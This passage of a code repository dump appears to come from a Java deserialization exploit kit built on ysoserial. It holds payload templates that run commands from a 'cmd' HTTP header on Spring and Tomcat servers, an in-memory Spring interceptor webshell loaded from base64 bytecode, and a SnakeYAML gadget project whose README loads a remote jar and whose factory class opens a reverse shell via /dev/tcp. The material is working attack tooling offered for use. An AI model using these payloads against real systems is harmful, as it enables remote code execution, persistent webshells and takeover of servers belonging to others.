cmds[1] = "/c"; 16 | } else { 17 | cmds[0] = "bash"; 18 | cmds[1] = "-c"; 19 | } 20 | cmds[2] = cmd; 21 | 22 | Runtime.getRuntime().exec(cmds); 23 | } catch (IOException e) { 24 | // e.printStackTrace(); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/templates/SpringEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.templates; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.web.context.request.RequestAttributes; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.context.request.ServletRequestAttributes; 11 | 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | 15 | public class SpringEchoTemplate extends AbstractTranslet { 16 | 17 | public SpringEchoTemplate(){ 18 | try{ 19 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes(); 20 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest(); 21 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse(); 22 | 23 | String cmd = httprequest.getHeader("cmd"); 24 | if(cmd != null && !cmd.isEmpty()){ 25 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 26 | httpresponse.getWriter().println(res); 27 | } 28 | }catch(Exception e){ 29 | e.printStackTrace(); 30 | } 31 | } 32 | 33 | @Override 34 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 35 | 36 | } 37 | 38 | @Override 39 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/templates/SpringInterceptorMemShell.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.templates; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.beans.BeansException; 9 | import org.springframework.web.context.WebApplicationContext; 10 | import org.springframework.web.context.request.RequestContextHolder; 11 | import org.springframework.web.context.request.ServletRequestAttributes; 12 | 13 | import javax.servlet.ServletRequest; 14 | import javax.servlet.http.HttpServletRequest; 15 | import java.lang.reflect.Method; 16 | 17 | public class SpringInterceptorMemShell extends AbstractTranslet { 18 | static String b64; 19 | static String clazzName; 20 | 21 | static { 22 | try { 23 | Class RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); 24 | 25 | Method getWebApplicationContext; 26 | try { 27 | getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); 28 | } catch (NoSuchMethodException e) { 29 | getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); 30 | } 31 | getWebApplicationContext.setAccessible(true); 32 | 33 | WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); 34 | 35 | //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping 36 | org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; 37 | try { 38 | Class RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); 39 | abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); 40 | } catch (BeansException e) { 41 | Class DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); 42 | abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); 43 | } 44 | 45 | java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 46 | field.setAccessible(true); 47 | java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); 48 | 49 | //加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码 50 | byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64); 51 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 52 | Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); 53 | m0.setAccessible(true); 54 | m0.invoke(classLoader, clazzName, bytes, 0, bytes.length); 55 | //添加SpringInterceptorTemplate类到adaptedInterceptors 56 | adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance()); 57 | } catch (Exception e) { 58 | // e.printStackTrace(); 59 | } 60 | } 61 | 62 | @Override 63 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 64 | 65 | } 66 | 67 | @Override 68 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 69 | 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/templates/TomcatCmdEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.templates; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | 9 | public class TomcatCmdEcho extends AbstractTranslet { 10 | 11 | static { 12 | try { 13 | boolean flag = false; 14 | ThreadGroup group = Thread.currentThread().getThreadGroup(); 15 | java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); 16 | f.setAccessible(true); 17 | Thread[] threads = (Thread[]) f.get(group); 18 | for (int i = 0; i < threads.length; i++) { 19 | try { 20 | Thread t = threads[i]; 21 | if (t == null) continue; 22 | String str = t.getName(); 23 | if (str.contains("exec") || !str.contains("http")) continue; 24 | f = t.getClass().getDeclaredField("target"); 25 | f.setAccessible(true); 26 | Object obj = f.get(t); 27 | if (!(obj instanceof Runnable)) continue; 28 | f = obj.getClass().getDeclaredField("this$0"); 29 | f.setAccessible(true); 30 | obj = f.get(obj); 31 | try { 32 | f = obj.getClass().getDeclaredField("handler"); 33 | } catch (NoSuchFieldException e) { 34 | f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); 35 | } 36 | f.setAccessible(true); 37 | obj = f.get(obj); 38 | try { 39 | f = obj.getClass().getSuperclass().getDeclaredField("global"); 40 | } catch (NoSuchFieldException e) { 41 | f = obj.getClass().getDeclaredField("global"); 42 | } 43 | f.setAccessible(true); 44 | obj = f.get(obj); 45 | f = obj.getClass().getDeclaredField("processors"); 46 | f.setAccessible(true); 47 | java.util.List processors = (java.util.List) (f.get(obj)); 48 | for (int j = 0; j < processors.size(); ++j) { 49 | Object processor = processors.get(j); 50 | f = processor.getClass().getDeclaredField("req"); 51 | f.setAccessible(true); 52 | Object req = f.get(processor); 53 | Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); 54 | str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); 55 | if (str != null && !str.isEmpty()) { 56 | resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); 57 | String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str}; 58 | byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes(); 59 | try { 60 | Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); 61 | obj = cls.newInstance(); 62 | cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, result, new Integer(0), new Integer(result.length)); 63 | resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); 64 | } catch (NoSuchMethodException var5) { 65 | Class cls = Class.forName("java.nio.ByteBuffer"); 66 | obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); 67 | resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); 68 | } 69 | flag = true; 70 | } 71 | if (flag) break; 72 | } 73 | if (flag) break; 74 | } catch (Exception e) { 75 | continue; 76 | } 77 | } 78 | 79 | } catch (Exception e) { 80 | } 81 | } 82 | 83 | 84 | @Override 85 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 86 | 87 | } 88 | 89 | @Override 90 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 91 | 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/ClassUtil.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import com.bloom.util.JavassistClassLoader; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | 7 | public class ClassUtil { 8 | public static Class genClass(String clazzName) throws Exception { 9 | if(clazzName.startsWith("java.")){ 10 | return loadClass(clazzName); 11 | } 12 | ClassPool classPool = ClassPool.getDefault(); 13 | CtClass ctClass = classPool.makeClass(clazzName); 14 | ctClass.getClassFile().setVersionToJava5(); 15 | Class clazz = ctClass.toClass(new JavassistClassLoader()); 16 | ctClass.defrost(); 17 | return clazz; 18 | } 19 | 20 | public static Class loadClass(String clazzName) throws Exception{ 21 | try{ 22 | return Class.forName(clazzName); 23 | }catch (ClassNotFoundException e){ 24 | return Thread.currentThread().getContextClassLoader().loadClass(clazzName); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/JavaVersion.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public class JavaVersion { 9 | 10 | 11 | public int major; 12 | public int minor; 13 | public int update; 14 | 15 | 16 | 17 | public static JavaVersion getLocalVersion() { 18 | String property = System.getProperties().getProperty("java.version"); 19 | if ( property == null ) { 20 | return null; 21 | } 22 | JavaVersion v = new JavaVersion(); 23 | String parts[] = property.split("\\.|_|-"); 24 | int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix 25 | v.major = Integer.parseInt(parts[start + 0]); 26 | v.minor = Integer.parseInt(parts[start + 1]); 27 | v.update = Integer.parseInt(parts[start + 2]); 28 | return v; 29 | } 30 | 31 | public static boolean isAnnInvHUniversalMethodImpl() { 32 | JavaVersion v = JavaVersion.getLocalVersion(); 33 | return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); 34 | } 35 | 36 | public static boolean isBadAttrValExcReadObj() { 37 | JavaVersion v = JavaVersion.getLocalVersion(); 38 | return v != null && (v.major > 8 && v.update >= 76); 39 | } 40 | 41 | public static boolean isAtLeast(int major) { 42 | JavaVersion v = JavaVersion.getLocalVersion(); 43 | return v != null && v.major >= major; 44 | } 45 | } 46 | 47 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/PayloadRunner.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.io.File; 4 | import java.util.concurrent.Callable; 5 | 6 | import ysoserial.Deserializer; 7 | import ysoserial.Serializer; 8 | import static ysoserial.Deserializer.deserialize; 9 | import static ysoserial.Serializer.serialize; 10 | import ysoserial.payloads.ObjectPayload; 11 | import ysoserial.payloads.ObjectPayload.Utils; 12 | import ysoserial.secmgr.ExecCheckingSecurityManager; 13 | 14 | /* 15 | * utility class for running exploits locally from command line 16 | */ 17 | @SuppressWarnings("unused") 18 | public class PayloadRunner { 19 | 20 | public static void run(final Class> clazz, final String[] args) throws Exception { 21 | // ensure payload generation doesn't throw an exception 22 | byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ 23 | public byte[] call() throws Exception { 24 | final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); 25 | 26 | System.out.println("generating payload object(s) for command: '" + command + "'"); 27 | 28 | ObjectPayload payload = clazz.newInstance(); 29 | final Object objBefore = payload.getObject(command); 30 | 31 | System.out.println("serializing payload"); 32 | byte[] ser = Serializer.serialize(objBefore); 33 | Utils.releasePayload(payload, objBefore); 34 | return ser; 35 | }}); 36 | 37 | try { 38 | System.out.println("deserializing payload"); 39 | final Object objAfter = Deserializer.deserialize(serialized); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } 43 | 44 | } 45 | 46 | private static String getDefaultTestCmd() { 47 | return getFirstExistingFile( 48 | "C:\\Windows\\System32\\calc.exe", 49 | "/Applications/Calculator.app/Contents/MacOS/Calculator", 50 | "/usr/bin/gnome-calculator", 51 | "/usr/bin/kcalc" 52 | ); 53 | } 54 | 55 | private static String getFirstExistingFile(String ... files) { 56 | for (String path : files) { 57 | if (new File(path).exists()) { 58 | return path; 59 | } 60 | } 61 | throw new UnsupportedOperationException("no known test executable"); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.util; 2 | 3 | import java.lang.reflect.AccessibleObject; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | 8 | import sun.reflect.ReflectionFactory; 9 | 10 | import com.nqzero.permit.Permit; 11 | 12 | @SuppressWarnings ( "restriction" ) 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | // quiet runtime warnings from JDK9+ 17 | Permit.setAccessible(member); 18 | } 19 | 20 | public static Field getField(final Class clazz, final String fieldName) { 21 | Field field = null; 22 | try { 23 | field = clazz.getDeclaredField(fieldName); 24 | setAccessible(field); 25 | } 26 | catch (NoSuchFieldException ex) { 27 | if (clazz.getSuperclass() != null) 28 | field = getField(clazz.getSuperclass(), fieldName); 29 | } 30 | return field; 31 | } 32 | 33 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 34 | final Field field = getField(obj.getClass(), fieldName); 35 | field.set(obj, value); 36 | } 37 | 38 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 39 | final Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | public static Constructor getFirstCtor(final String name) throws Exception { 44 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 45 | setAccessible(ctor); 46 | return ctor; 47 | } 48 | 49 | public static Object newInstance(String className, Object ... args) throws Exception { 50 | return getFirstCtor(className).newInstance(args); 51 | } 52 | 53 | public static T createWithoutConstructor ( Class classToInstantiate ) 54 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 55 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 56 | } 57 | 58 | @SuppressWarnings ( {"unchecked"} ) 59 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 60 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 61 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 62 | setAccessible(objCons); 63 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 64 | setAccessible(sc); 65 | return (T)sc.newInstance(consArgs); 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java: -------------------------------------------------------------------------------- 1 | package ysoserial.secmgr; 2 | 3 | import java.security.Permission; 4 | import java.util.Collections; 5 | import java.util.LinkedList; 6 | import java.util.List; 7 | import java.util.concurrent.Callable; 8 | 9 | // TODO per-thread secmgr 10 | public class ExecCheckingSecurityManager extends SecurityManager { 11 | public ExecCheckingSecurityManager() { 12 | this(true); 13 | } 14 | 15 | public ExecCheckingSecurityManager(boolean throwException) { 16 | this.throwException = throwException; 17 | } 18 | 19 | private final boolean throwException; 20 | 21 | private final List cmds = new LinkedList(); 22 | 23 | public List getCmds() { 24 | return Collections.unmodifiableList(cmds); 25 | } 26 | 27 | @Override 28 | public void checkPermission(final Permission perm) { } 29 | 30 | @Override 31 | public void checkPermission(final Permission perm, final Object context) { } 32 | 33 | @Override 34 | public void checkExec(final String cmd) { 35 | super.checkExec(cmd); 36 | 37 | cmds.add(cmd); 38 | 39 | if (throwException) { 40 | // throw a special exception to ensure we can detect exec() in the test 41 | throw new ExecException(cmd); 42 | } 43 | }; 44 | 45 | @SuppressWarnings("serial") 46 | public static class ExecException extends RuntimeException { 47 | private final String threadName = Thread.currentThread().getName(); 48 | private final String cmd; 49 | public ExecException(String cmd) { this.cmd = cmd; } 50 | public String getCmd() { return cmd; } 51 | public String getThreadName() { return threadName; } 52 | @ 53 | Override 54 | public String getMessage() { 55 | return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; 56 | } 57 | } 58 | 59 | public void callWrapped(final Runnable runnable) throws Exception { 60 | callWrapped(new Callable(){ 61 | public Void call() throws Exception { 62 | runnable.run(); 63 | return null; 64 | } 65 | }); 66 | } 67 | 68 | public T callWrapped(final Callable callable) throws Exception { 69 | SecurityManager sm = System.getSecurityManager(); // save sm 70 | System.setSecurityManager(this); 71 | try { 72 | T result = callable.call(); 73 | if (throwException && ! getCmds().isEmpty()) { 74 | throw new ExecException(getCmds().get(0)); 75 | } 76 | return result; 77 | } catch (Exception e) { 78 | if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { 79 | throw new ExecException(getCmds().get(0)); 80 | } else { 81 | throw e; 82 | } 83 | } finally { 84 | System.setSecurityManager(sm); // restore sm 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /yaml-payload-master/.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | ./out/* 3 | ./yaml-payload.jar 4 | ./yaml-payload.yml -------------------------------------------------------------------------------- /yaml-payload-master/README.md: -------------------------------------------------------------------------------- 1 | A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec): 2 | ```yaml 3 | !!javax.script.ScriptEngineManager [ 4 | !!java.net.URLClassLoader [[ 5 | !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] 6 | ]] 7 | ] 8 | ``` 9 | Put the java code you want execute into [AwesomeScriptEngineFactory.java](./src/artsploit/AwesomeScriptEngineFactory.java) and compile: 10 | ```bash 11 | javac src/artsploit/AwesomeScriptEngineFactory.java 12 | jar -cvf yaml-payload.jar -C src/ . 13 | ``` 14 | 15 | Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar) 16 | -------------------------------------------------------------------------------- /yaml-payload-master/src/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | artsploit.AwesomeScriptEngineFactory -------------------------------------------------------------------------------- /yaml-payload-master/src/artsploit/AwesomeScriptEngineFactory.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/yaml-payload-master/src/artsploit/AwesomeScriptEngineFactory.class -------------------------------------------------------------------------------- /yaml-payload-master/src/artsploit/AwesomeScriptEngineFactory.java: -------------------------------------------------------------------------------- 1 | package artsploit; 2 | 3 | import javax.script.ScriptEngine; 4 | import javax.script.ScriptEngineFactory; 5 | import java.io.IOException; 6 | import java.util.List; 7 | 8 | public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 9 | 10 | public AwesomeScriptEngineFactory() { 11 | try { 12 | Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/9998 0>&1"); 13 | } catch (IOException e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | 18 | @Override 19 | public String getEngineName() { 20 | return null; 21 | } 22 | 23 | @Override 24 | public String getEngineVersion() { 25 | return null; 26 | } 27 | 28 | @Override 29 | public List getExtensions() { 30 | return null; 31 | } 32 | 33 | @Override 34 | public List getMimeTypes() { 35 | return null; 36 | } 37 | 38 | @Override 39 | public List getNames() { 40 | return null; 41 | } 42 | 43 | @Override 44 | public String getLanguageName() { 45 | return null; 46 | } 47 | 48 | @Override 49 | public String getLanguageVersion() { 50 | return null; 51 | } 52 | 53 | @Override 54 | public Object getParameter(String key) { 55 | return null; 56 | } 57 | 58 | @Override 59 | public String getMethodCallSyntax(String obj, String m, String... args) { 60 | return null; 61 | } 62 | 63 | @Override 64 | public String getOutputStatement(String toDisplay) { 65 | return null; 66 | } 67 | 68 | @Override 69 | public String getProgram(String... statements) { 70 | return null; 71 | } 72 | 73 | @Override 74 | public ScriptEngine getScriptEngine() { 75 | return null; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /yaml-payload-master/yaml-payload.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bl0omZ/JNDIEXP/9a4b2aa1e9027b82cce302e15f4838c3f27e175c/yaml-payload-master/yaml-payload.jar --------------------------------------------------------------------------------